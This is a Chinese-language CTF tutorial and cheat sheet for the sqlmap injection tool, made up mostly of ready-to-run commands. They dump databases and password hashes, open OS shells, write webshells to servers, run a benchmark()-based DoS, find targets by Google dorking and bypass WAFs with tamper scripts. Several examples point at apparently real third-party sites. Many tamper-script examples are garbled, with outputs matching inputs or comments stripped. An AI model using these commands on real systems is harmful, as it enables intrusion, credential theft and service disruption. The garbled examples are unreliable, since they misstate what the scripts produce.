CTF-web 第十二部分 sqlmap專題
sqlmap開源又功能強大的工具,支援現在幾乎所有的資料庫,比國內的任何工具都強。支援get,post ,cookie注入。可以新增cookie和user-agent 支援盲注,錯誤回顯注入,還有其他多種注入方法。 支援代理, 優化演算法,更高效, 指紋識別技術判斷資料庫。
當給sqlmap這麼一個url (http://192.168.136.131/sqlmap/mysql/get_int.php?id=1) 的時候,它會:
1、判斷可注入的引數
2、判斷可以用那種SQL注入技術來注入
3、識別出哪種資料庫
4、根據使用者選擇,讀取哪些資料
sqlmap支援五種不同的注入模式:
1、基於布林的盲注,即可以根據返回頁面判斷條件真假的注入。
2、基於時間的盲注,即不能根據頁面返回內容判斷任何資訊,用條件語句檢視時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。
3、基於報錯注入,即頁面會返回錯誤資訊,或者把注入的語句的結果直接返回在頁面中。
4、聯合查詢注入,可以使用union的情況下的注入。
5、堆查詢注入,可以同時執行多條語句的執行時的注入。
sqlmap支援的資料庫有:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
不得不說,在很多的注入裡面我們都可以使用sqlmap,這是一個名副其實的神器,隨著學習的過程我發現它有太多的功能了,但是網上的卻又是紛繁雜亂,所以決定在這裡對sqlmap的一些功能進行及時的更新,方便以後的使用,下面就開始總結:
(1)安裝及使用
上github上下載就行,我們要知道sqlmap是python2版本的,所以需要下載好python2,進入檔案根目錄之後,按住shift右鍵開啟命令列工具,就可以開始使用了。
一般搞我們這行的都有兩個版本的py,使用的時候需要在命令列前打上 py -2
(2)一般使用
如果你想觀察sqlmap對一個點是進行了怎樣的嘗試判斷以及讀取資料的,可以使用-v引數。
共有七個等級,預設為1:
0、只顯示python錯誤以及嚴重的資訊。
1、同時顯示基本資訊和警告資訊。(預設)
2、同時顯示debug資訊。
3、同時顯示注入的payload。
4、同時顯示HTTP請求。
5、同時顯示HTTP響應頭。
6、同時顯示HTTP響應頁面。
如果你想看到sqlmap傳送的測試payload最好的等級就是3。
-m 從文字中獲取多個目標掃描
// 檔案中儲存url格式如下,sqlmap會一個一個檢測
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
-u指定路徑,-v:顯示詳細的資訊,有0-6級,預設為1
cookie注入至少2級 --level=LEVEL也可以
檢查User-agent和Referer需要>=3
py -2 sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1
-p 指定注入的目標引數,不選擇的話它會嘗試所有的引數
py -2 sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id"
--method --data指定方法和post的資料 會測試提交的資料
py -2 sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" --data "id=1&cat=2"
--cookie 指定cookie,可以注入一些需要cookie的地址
py -2 sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE" --level=2
--proxy 指定代理注入
py -2 sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118"
-r "path" 從檔案中載入HTTP請求
sqlmap可以從一個文字檔案中獲取HTTP請求,這樣就可以跳過設定一些其他引數(比如cookie,POST資料,等等)。
# 比如文字檔案內如下:
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
# 當請求是HTTPS的時候你需要配合這個--force-ssl引數來使用,或者你可以在Host頭後門加上:443
py -2 sqlmap.py -r search-test.txt -p tfUPass,
# 這裡引數 -r 是讓sqlmap載入我們的post請求rsearch-test.txt,而-p 大家應該比較熟悉,指定注入用的引數。
--data 此引數是用來指定注入資料的,GET/POST都適用,在GET方法中將URL後面的引數部分提取出來就好,在POST方法中需要自己用Burpsuite或者F12檢視URL和引數的值即可,當然也可以自動獲取等。
py -2 sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
--cookie,--load-cookies,--drop-set-cookie
這個引數在以下兩個方面很有用:
1、web應用需要登陸的時候。
2、你想要在這些頭引數中測試SQL注入時。
可以通過抓包把cookie獲取到,複製出來,然後加到--cookie引數裡。
在HTTP請求中,遇到Set-Cookie的話,sqlmap會自動獲取並且在以後的請求中加入,並且會嘗試SQL注入。
如果你不想接受Set-Cookie可以使用--drop-set-cookie引數來拒接。
當你使用--cookie引數時,當返回一個Set-Cookie頭的時候,sqlmap會詢問你用哪個cookie來繼續接下來的請求。當--level的引數設定為2或者2以上的時候,sqlmap會嘗試注入Cookie引數。
--dump 用來顯示資料庫欄位內容
–dump -T "" -D "" -C "" #列出指定資料庫的表的欄位的資料(–dump -T users -D master -C surname)
–dump -T "" -D "" –start 2 –top 4 # 列出指定資料庫的表的2-4欄位的資料
--tamper引數是sqlmap的繞過指令碼
# 我們可以在最後指定一下繞過的指令碼,不止一個 有好幾個可以自己選擇
--tamper "space2morehash.py" 可以使用,分割多個指令碼
--force-ssl HTTPS掃描HTTPS網站時需要新增的引數
py -2 sqlmap -u "https://10.10.10.137/a.php?id=1:8843" --force-ssl
一般猜解流程,以cookies和post data為例,這應該是最麻煩的
sqlmap.py -u "http://192.168.87.129/shownews.asp" --cookie "pid=hgdh6527" --level 2
sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" --data "id=1&cat=2"
//得到了注入點之後執行以下命令
–-users #列資料庫所有使用者
–-passwords #資料庫使用者所有密碼
--dbs # 獲取資料庫
-D 庫名 --tables # 獲取表
-D 庫名 -T 表名 --columns # 獲取列
--dump -D 庫名 -T 表名 -C 列名 # 獲取欄位值
//也可以繼續獲取 shell
--os-shell # 然後選擇頁面的語言 給出一個絕對地址 就可以使用命令了 例如 ipconfig
--file-write /root/test.php --file-dest /var/www/html/1.php # 本地檔案寫入伺服器 不死馬之類的
(3)注入的簡單流程
get注入
get注入需要的是我們提供目標網址,當然必須是有肉眼可識別的注入引數。
假設目標是 http://www.baidu.com/news.php?id=1&data=2
cookies注入 --level=2 refer use-agent --level=2
postdata注入需要--method "POST" --data "id=1&cat=2"
爆出對方的資料庫
py -2 sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" --dbs
// 假設結果顯示庫有3個: test1 、test2 、test3
爆出資料庫下的表
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -D test1 --tables
//假設有表3個:admin,user,news
爆出表下的欄位
// 獲取admin表的columns
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -D test1 -T admin --columns
//假設有欄位3個:id,username,password
獲取id,username,password欄位的內容
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -D test1 -T admin -C "id,usrename,password"
一切順利的話 這算是完成了一次注入。可以繼續寫木馬
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" --file-write /root/test.php --file-dest /var/www/html/1.php
還可以獲取互動式shell,跟上邊的原理一樣的
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" --os-shell
關於post和cookie需要特殊對待一下
post注入的關鍵是獲取網頁的表單和指定注入的引數
第一種方式, 就是讓sqlmap去自動獲取表單:
sqlmap -u "http://www.xxxxxxxx.gov.cn/bxcxnew1.aspx" --forms
我們就會得到網頁中提交的內容,並且讓你填寫資料的具體,後來想起來注入的話,是什麼都無所謂了
或者是我們自己手動賦值
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -data="username=admin&password=123" --dbs
第二種, 爪好POST包後存在一個檔案中, 再用 -r 引數讀取, 這種方式的好處是不易出錯, 當一個頁面有多個表單時, 能正確指引。
將Bp中的資訊儲存,預設放在sqlmap根目錄下, 再用 -r 讀取就行了。我這命名為search-test.txt 然後把它放至sqlmap目錄下,假設引數為username。password
py -2 ./sqlmap.py -r search-test.txt -p username
各種注入簡單例項
# 這裡關於sqlmap呼叫方法就不注意細節了
# access注入
sqlmap.py -u "url" ==檢測。
sqlmap.py -u "url" --tables ==猜表。
sqlmap.py -u "url" --columns -T "表名" ==猜欄位
sqlmap.py -u "url" --dump -T "表名" -C "欄位,欄位" ==暴表裡面的欄位的內容
# Mysql資料注入
sqlmap.py -u url --privileg ==檢視許可權(root什麼什麼的)
sqlmap.py -u url --is-dba 判斷是不是root許可權
sqlmap.py -u url --dbs ==獲取資料庫
sqlmap.py -u url --tables -D "資料庫名" ==獲取當中的資料庫的表
sqlmap.py -u url --columns -D "資料庫名" -T "表名" ==獲取資料庫 表中的欄位
sqlmap.py -u url --dump -D "資料庫名" -T "表名" -C "欄位,欄位" ==獲取資料庫表的欄位裡的內容
# Cookie注入
注入點:http://www.ntjx.org/jsj/DownloadShow.asp?id=9
sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --dbs --level 2 ==暴表名
sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" -D "庫名" -T "表名" --columns --level 2 #暴表的欄位
sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --dump -T "表名" -C "欄位,欄位" --level 2 #暴表的欄位內容
# post登陸注入 mssql
sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345"
sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dbs #獲取資料庫名
sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --tables -D "資料庫名" #列表
sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --columns -T "表名" -D "資料庫名" #暴欄位
sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dump --columns -C "欄位,欄位" -T "表" -D "資料名" #暴欄位內容
# 直接拿shell或者執行命令(需要許可權很大跟物理路徑)
sqlmap.py -u url --os-shell
sqlmap.py -u url --os-cmd=ipconfig
# 偽靜態注入
注入點:http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html (注意:要加個* 哪裡存在注入就加上 * 號)
sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --dbs #獲取資料庫名
sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --tables -D "資料名" #獲取資料庫當中的表
sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --columns -D "資料名" -T "表名" #獲取資料庫的表中的欄位
sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --dump -D "資料名" -T "表名" -C "欄位,欄位" #獲取資料庫的表中的欄位內容
# 請求延時(一般突破防火牆)
第一種方法:sqlmap.py -u url --delay 2 (注意:2是兩秒的意思,也就是說2秒訪問一次)
第二種方法: sqlmap.py -u url --safe-freq 3 (注意:3是3次的意思。。)
可以組合使用 sqlmap.py -u url --delay 2 --safe-freq 3
(4)常用大全
下面是 羽翼SQLMAP系列課程筆記
#######################################################################3
常用語句
sqlmap -u http://www.target.com/id=2
--dbs
--tables -D whatA
--columns -D databaseA -T tableA
--dump -D databaseA -T tableA -C "username,password"
=================================================================================
cookie注入
注入點:http://www.ntjx.org/jsj/DownloadShow.asp?id=9
語句sqlmap -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --table --level 2
=================================================================================
post注入
注入點:http://testasp.vulnweb.com/Login.asp
配合Burpsuite:./sqlmap.py -r search-test.txt -p tfUPass
---------------------------------------------------------------------------------------------
自動獲取
sqlmap -u http://testasp.vulnweb.com/Login.asp --forms
指定引數
sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"
=================================================================================
互動式寫shell 需要指定根目錄
---------------------------------------------------------------------------------------------
sqlmap -u http://www.target.com/id=2 --os-cmd=ipconfig
執行ipconfig
sqlmap -u http://www.target.com/id=2 --os-shell
獲得一個shell即時執行命令,會生成檔案 tmpbxbxz.php 和 tmppuoiuz.php
---------------------------------------------------------------------------------------------
偽靜態注入點:http://www.target.com/ndex.php/Index/view/id/40.html
sqlmap -u http://www.target.com/ndex.php/Index/view/id/40*.html --dbs //注意*位置,在有注入的地方,後面你懂的
=================================================================================
請求延時
注入點:http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html
引數 --delay --safe-freq
sqlmap --dbs -u http://www.target.com/ndex.php/Index/view/id/40*.html --delay 0.5 //延時0.5秒
sqlmap --dbs -u http://www.target.com/ndex.php/Index/view/id/40*.html --safe-freq //請求2次
=================================================================================
google關鍵字找注入點
sqlmap -g inurl:php?id=1
=================================================================================
sqlmapDDoS攻擊
sqlmap -u http://www.target.com/id=2 --sql-shell
獲得一個即時shell,執行
select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)
=================================================================================
sqlmap繞過WAF防火牆
注入點:http://www.target.com/id=2
sqlmap -u http://192.168.159.1/news.php?id=1 -v 3 --dbs --batch --tamper "space2morehash.py"
tamper資料夾下自行發揮
=================================================================================
sqlmap檢視 許可權及可執行函式
sqlmap -u http://www.target.com/id=2 --privileges
#####################################################################################
最後再來一個小小的引數總結吧
-u #注入點
-f #指紋判別資料庫型別
-b #獲取資料庫版本資訊
-p #指定可測試的引數(?page=1&id=2 -p “page,id”)
-D “” #指定資料庫名
-T “” #指定表名
-C “” #指定欄位
-s “” #儲存注入過程到一個檔案,還可中斷,下次恢復在注入(儲存:-s “xx.log” 恢復:-s “xx.log” –resume)
–columns #列出欄位
–current-user #獲取當前使用者名稱稱
–current-db #獲取當前資料庫名稱
–users #列資料庫所有使用者
–passwords #資料庫使用者所有密碼
–privileges #檢視使用者許可權(–privileges -U root)
-U #指定資料庫使用者
–dbs #列出所有資料庫
–tables -D “” #列出指定資料庫中的表
–columns -T “user” -D “mysql” #列出mysql資料庫中的user表的所有欄位
–dump-all #列出所有資料庫所有表
–exclude-sysdbs #只列出使用者自己新建的資料庫和表
–dump -T “資料庫” -D “表” -C “欄位” #列出指定資料庫的表的欄位的資料(–dump -T users -D master -C surname)
–dump -T “” -D “” –start 2 –top 4 # 列出指定資料庫的表的2-4欄位的資料
–dbms #指定資料庫(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
–os #指定系統(Linux,Windows)
-v #詳細的等級(0-6)
0:只顯示Python的回溯,錯誤和關鍵訊息。
1:顯示資訊和警告訊息。
2:顯示除錯訊息。
3:有效載荷注入。
4:顯示HTTP請求。
5:顯示HTTP響應頭。
6:顯示HTTP響應頁面的內容
–privileges #檢視許可權
–is-dba #是否是資料庫管理員
–roles #列舉資料庫使用者角色
–udf-inject #匯入使用者自定義函式(獲取系統許可權)
–union-check #是否支援union 注入
–union-cols #union 查詢表記錄
–union-test #union 語句測試
–union-use #採用union 注入
–union-tech orderby #union配合order by
–method “POST” –data “” #POST方式提交資料(–method “POST” –data “page=1&id=2″)
–cookie “用;號分開” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
–referer “” #使用referer欺騙(–referer “http://www.baidu.com”)
–user-agent “” #自定義user-agent
–proxy “http://127.0.0.1:8118″ #代理注入
–string “” #指定關鍵詞
–threads #採用多執行緒(–threads 3)
–sql-shell #執行指定sql命令
–sql-query #執行指定的sql語句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1″ )
–file-read #讀取指定檔案
–file-write #寫入本地檔案(–file-write /test/test.txt –file-dest /var/www/html/1.txt;將本地的test.txt檔案寫入到目 標的1.txt)
–file-dest #要寫入的檔案絕對路徑
–os-cmd=id #執行系統命令
–os-shell #系統互動shell
–os-pwn #反彈shell(–os-pwn –msf-path=/opt/framework/msf3/)
–msf-path= #matesploit絕對路徑(–msf-path=/opt/framework/msf3/)
–os-smbrelay #
–os-bof #
–reg-read #讀取win系統登錄檔
–priv-esc #
–time-sec= #延遲設定 預設–time-sec=5 為5秒
-p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入
–eta #盲注
附錄 自帶繞過指令碼型別
# sqlmap自帶的繞過指令碼
apostrophemask.py UTF-8編碼
Example:
* Input: AND '1'='1'
* Output: AND '1'='1'
apostrophenullencode.py unicode編碼
Example:
* Input: AND '1'='1'
* Output: AND '1'='1'
appendnullbyte.py 新增
Example:
* Input: AND 1=1
* Output: AND 1=1
Requirement:
* Microsoft Access
base64encode.py base64編碼
Example:
* Input: 1' AND SLEEP(5)#
* Output: MScgQU5EIFNMRUVQKDUpIw==
between.py 以“not between”替換“>”
Example:
* Input: 'A > B'
* Output: 'A NOT BETWEEN 0 AND B'
bluecoat.py 以隨機的空白字元替代空格,以“like”替代“=”
Example:
* Input: SELECT id FROM users where id = 1
* Output: SELECT id FROM users where id LIKE 1
Requirement:
* MySQL 5.1, SGOS
chardoubleencode.py 雙重url編碼
Example:
* Input: SELECT FIELD FROM TABLE
* Output: SELECT FIELD FROM TABLE
charencode.py url編碼
Example:
* Input: SELECT FIELD FROM TABLE
* Output: SELECT FIELD FROM TABLE
charunicodeencode.py 對未進行url編碼的字元進行unicode編碼
Example:
* Input: SELECT FIELD FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
Requirement:
* ASP
* ASP.NET
equaltolike.py 以“like”替代“=”
Example:
* Input: SELECT * FROM users WHERE id=1
* Output: SELECT * FROM users WHERE id LIKE 1
halfversionedmorekeywords.py在每個關鍵字前新增條件註釋
Example:
* Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
* Output: value'--
Requirement:
* MySQL
modsecurityzeroversioned.py 條件註釋,0000
Example:
* Input: 1 AND 2>1--
* Output: 1 --
Requirement:
* MySQL
multiplespaces.py 新增多個空格
Example:
* Input: UNION SELECT
* Output: UNION SELECT
nonrecursivereplacement.py 可以繞過對關鍵字刪除的防注入(這個我也不知道怎麼說好,看例子。。。)
Example:
* Input: 1 UNION SELECT 2--
* Output: 1 UNUNIONION SELSELECTECT 2--
percentage.py 在每個字元前新增百分號(%)
Example:
* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
Requirement:
* ASP
randomcase.py 隨即大小寫
Example:
* Input: INSERT
* Output: InsERt
randomcomments.py 隨機插入區塊註釋
Example:
'INSERT' becomes 'INSERT'
securesphere.py 語句結尾新增“真”字串
Example:
* Input: AND 1=1
* Output: AND 1=1 and '0having'='0having'
sp_password.py 語句結尾新增“sp_password”迷惑資料庫日誌(很。。。)
Example: www.2cto.com
* Input: 1 AND 9227=9227--
* Output: 1 AND 9227=9227--sp_password
Requirement:
* MSSQL
space2comment.py 以區塊註釋替換空格
Example:
* Input: SELECT id FROM users
* Output: SELECTidFROMusers
space2dash.py 以單行註釋“--”和隨機的新行替換空格
Example:
* Input: 1 AND 9227=9227
* Output: 1--PTTmJopxdWJ AND--cWfcVRPV 9227=9227
Requirement:
* MSSQL
* SQLite
space2hash.py 以單行註釋“#”和由隨機字元組成的新行替換空格
Example:
* Input: 1 AND 9227=9227
* Output: 1#PTTmJopxdWJ AND#cWfcVRPV 9227=9227
Requirement:
* MySQL
space2morehash.py 沒看出來和上面那個有什麼區別。。
Requirement:
* MySQL >= 5.1.13
space2mssqlblank.py 以隨機空白字元替換空格
Example:
* Input: SELECT id FROM users
* Output: SELECTidFROMusers
Requirement:
* Microsoft SQL Server
space2mssqlhash.py 以單行註釋“#”和新行替換空格
Example:
* Input: 1 AND 9227=9227
* Output: 1# 9227=9227
Requirement:
* MSSQL
* MySQL
space2mysqlblank.py 以隨機空白字元替換空格
Example:
* Input: SELECT id FROM users
* Output: SELECTidFROM�users
Requirement:
* MySQL
space2mysqldash.py 以單行註釋和新行替換空格
Example:
* Input: 1 AND 9227=9227
* Output: 1-- AND-- 9227=9227
Requirement:
* MySQL
* MSSQL
space2plus.py 以“+”替換空格
Example:
* Input: SELECT id FROM users
* Output: SELECT+id+FROM+users
space2randomblank.py 隨機空白字元替換空格
Example:
* Input: SELECT id FROM users
* Output: SELECT\rid\tFROM\nusers
unionalltounion.py 以“union all”替換“union”
Example:
* Input: -1 UNION ALL SELECT
* Output: -1 UNION SELECT
unmagicquotes.py 以“�'”替換單引號,並在結尾添加註釋“--”
Example:
* Input: 1' AND 1=1
* Output: 1�' AND 1=1--
versionedkeywords.py 對不是函式的關鍵字條件註釋
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1,,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()),CHAR(32)),CHAR(58,100,114,117,58))#
Requirement:
* MySQL
versionedmorekeywords.py 對關鍵字條件註釋
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1,,((58,122,114,115,58),(CAST(()),(32)),(58,115,114,121,58))#
Requirement:
* MySQL >= 5.1.13
來源: https://blog.csdn.net/whatday/article/details/54774043
支援的資料庫 | 編號 | 指令碼名稱 | 作用 | 實現方式 |
all | 1 | apostrophemask.py | 用utf8代替引號 | ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' |
2 | base64encode.py | 用base64編碼替換 | ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' |
|
3 | multiplespaces.py | 圍繞SQL關鍵字新增多個空格 | ('1 UNION SELECT foobar') '1 UNION SELECT foobar' |
|
4 | space2plus.py | 用+替換空格 | ('SELECT id FROM users') 'SELECT+id+FROM+users' |
|
5 | nonrecursivereplacement.py | 雙重查詢語句。取代predefined SQL關鍵字with表示 suitable for替代(例如 .replace(“SELECT”、”")) filters |
('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' |
|
6 | space2randomblank.py | 代替空格字元(“”)從一個隨機的空 白字元可選字元的有效集 |
('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers' |
|
7 | unionalltounion.py | 替換UNION ALL SELECT UNION SELECT | ('-1 UNION ALL SELECT') '-1 UNION SELECT' |
|
8 | securesphere.py | 追加特製的字串 | ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'" |
|
mssql | 1 | space2hash.py | 繞過過濾‘=’ 替換空格字元(”),(’ – ‘)後跟一個破折號註釋,一個隨機字串和一個新行(’ n’) | '1 AND 9227=9227' '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' |
2 | equaltolike.py | like 代替等號 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 |
|
3 | space2mssqlblank.py(mssql) | 空格替換為其它空符號 | Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers |
|
4 | space2mssqlhash.py | 替換空格 | ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' |
|
5 | between.py | 用between替換大於號(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' |
|
6 | percentage.py | asp允許每個字元前面新增一個%號 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E |
|
7 | sp_password.py | 追加sp_password’從DBMS日誌的自動模糊處理的有效載荷的末尾 | ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp_password' |
|
8 | charencode.py | url編碼 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
|
9 | randomcase.py | 隨機大小寫 | * Input: INSERT * Output: InsERt |
|
10 | charunicodeencode.py | 字串 unicode 編碼 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
|
11 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users |
|
mysql >= 5.1.13 | 1 | equaltolike.py | like 代替等號 | * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1 |
2 | greatest.py | 繞過過濾’>’ ,用GREATEST替換大於號。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' |
|
3 | apostrophenullencode.py | 繞過過濾雙引號,替換字元和雙引號。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' |
|
4 | ifnull2ifisnull.py | 繞過對 IFNULL 過濾。 替換類似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’ |
('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)' |
|
5 | space2mssqlhash.py | 替換空格 | ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' |
|
6 | modsecurityversioned.py | 過濾空格,包含完整的查詢版本註釋 | ('1 AND 2>1--') '1 /*!30874AND 2>1*/--' |
|
7 | space2mysqlblank.py | 空格替換其它空白符號(mysql) | Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users |
|
8 | between.py | 用between替換大於號(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' |
|
9 | modsecurityzeroversioned.py | 包含了完整的查詢與零版本註釋 | ('1 AND 2>1--') '1 /*!00000AND 2>1*/--' |
|
10 | space2mysqldash.py | 替換空格字元(”)(’ – ‘)後跟一個破折號註釋一個新行(’ n’) | ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227' |
|
11 | bluecoat.py | 代替空格字元後與一個有效的隨機空白字元的SQL語句。 然後替換=為like |
('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1' |
|
12 | percentage.py | asp允許每個字元前面新增一個%號 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E |
|
13 | charencode.py | url編碼 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
|
14 | randomcase.py | 隨機大小寫 | * Input: INSERT * Output: InsERt |
|
15 | versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))# |
|
16 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users |
|
17 | charunicodeencode.py | 字串 unicode 編碼 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
|
18 | versionedmorekeywords.py | 註釋繞過 | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))# |
|
MySQL < 5.1 | 19 | halfversionedmorekeywords.py | 關鍵字前加註釋 | * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa * Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa |
20 | halfversionedmorekeywords.py | 當資料庫為mysql時繞過防火牆,每個關鍵字之前新增 mysql版本評論 |
1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") 2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" |
|
MySQL >= 5.1.13 | 21 | space2morehash.py | 空格替換為 #號 以及更多隨機字串 換行符 | * Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 |
Oracle | 1 | greatest.py | 繞過過濾’>’ ,用GREATEST替換大於號。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' |
